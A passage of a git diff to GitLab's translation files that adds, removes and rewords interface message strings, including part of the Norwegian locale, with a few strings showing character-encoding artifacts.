msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/nb_NO/gitlab.po b/locale/nb_NO/gitlab.po
index 5e4999b3273..d99314055a3 100644
--- a/locale/nb_NO/gitlab.po
+++ b/locale/nb_NO/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: nb\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:52\n"
+"PO-Revision-Date: 2021-04-02 00:12\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] "%d endret fil"
msgstr[1] "%d endret filer"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d fikset testresultat"
@@ -392,6 +402,9 @@ msgstr "%{authorsName} sin tråd"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} forfattet %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr "%{completedWeight} av %{totalWeight} vektlegging fullført"
@@ -430,19 +448,9 @@ msgstr "%{count} godkjennelser fra %{name}"
msgid "%{count} files touched"
msgstr "%{count} filer berørt"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "%{count} mer"
@@ -537,7 +545,7 @@ msgstr "%{group_name} gruppemedlemmer"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}Lær mer%{usage_ping_link_end} om hvilken informasjon som deles med GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (kan ikke flette)"
@@ -1063,6 +1074,9 @@ msgstr[1] "+%d til"
msgid "+%{approvers} more approvers"
msgstr "+%{approvers} flere godkjennere"
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] "1 dag"
msgstr[1] "%d dager"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] "1 time"
msgstr[1] "%d timer"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 innflettet fletteforespørsel"
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] "1 minutt"
msgstr[1] "%d minutter"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 åpen sak"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 bruker"
msgstr[1] "%{num} brukere"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr "1-9 bidrag"
@@ -1315,9 +1359,6 @@ msgstr "En fil ble ikke funnet."
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "En fil med '%{file_name}' finnes allerede i %{branch}-grenen"
-msgid "A fork is a copy of a project."
-msgstr "En utgreining er en kopi av et prosjekt."
-
msgid "A group is a collection of several projects"
msgstr "En gruppe er en samling av flere prosjekter"
@@ -1327,13 +1368,10 @@ msgstr "En gruppe representerer organisasjonen din i GitLab. Grupper lar deg adm
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr "API-hjelp"
msgid "API Token"
msgstr "API-token"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Konto og grenser"
msgid "Account: %{account}"
msgstr "Konto: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Legg til"
msgid "Add \"%{value}\""
msgstr "Legg til «%{value}»"
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "Legg til %d sak"
-msgstr[1] "Legg til %d saker"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "Legg til %{linkStart}ressurser%{linkEnd} i utgivelsen din. GitLab inkluderer automatisk skrivebeskyttede ressurser, som kildekoden og utgivelsesbevis."
@@ -1779,6 +1827,9 @@ msgstr "Legg til en GPG-nøkkel"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Legg til en punktliste"
@@ -1854,6 +1905,9 @@ msgstr "Legg til kommentar nå"
msgid "Add comment to design"
msgstr "Legg til kommentar til design"
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr "Legg til bilde kommentar"
-msgid "Add issues"
-msgstr "Legg til saker"
-
msgid "Add italic text"
msgstr "Legg til kursiv tekst"
@@ -1911,6 +1962,9 @@ msgstr "Legg til eller trekk fra brukt tid"
msgid "Add previously merged commits"
msgstr "Legg til tidligere innflettede commiter"
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Legg til reaksjon"
@@ -1929,6 +1983,9 @@ msgstr "Legg til systemkrok"
msgid "Add to Slack"
msgstr "Legg til i Slack"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "Legg til i epos"
@@ -2022,6 +2079,9 @@ msgstr "Ytterligere minutter"
msgid "Additional text"
msgstr "Ytterligere tekst"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr "Juster dine filtre/søkekriterier ovenfor. Hvis du mener at dette kan vÃ
msgid "Admin Area"
msgstr "Admin-område"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr "Admin-notis"
@@ -2190,9 +2253,6 @@ msgstr "Du er i ferd med å stoppe alle jobber. Dette stopper alle nåværende j
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Feil under innlasting av statistikken. Vennligst prøv igjen"
-msgid "AdminNote|Note"
-msgstr "Notis"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Du er i ferd med å permanent slette prosjektet %{projectName}, dets kodelager og alle relaterte ressurser, inkludert saker, fletteforespørsler, osv. Når du har bekreftet og trykket på %{strong_start}Slett prosjekt%{strong_end}, kan det ikke angres på eller gjenopprettes."
@@ -2628,6 +2688,12 @@ msgstr "Administrasjon"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] "Varsel"
msgstr[1] "Varsler"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr "Anerkjent"
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,14 +2927,17 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
-msgstr "Ekstern Prometheus"
+msgid "AlertSettings|Enter integration name"
+msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
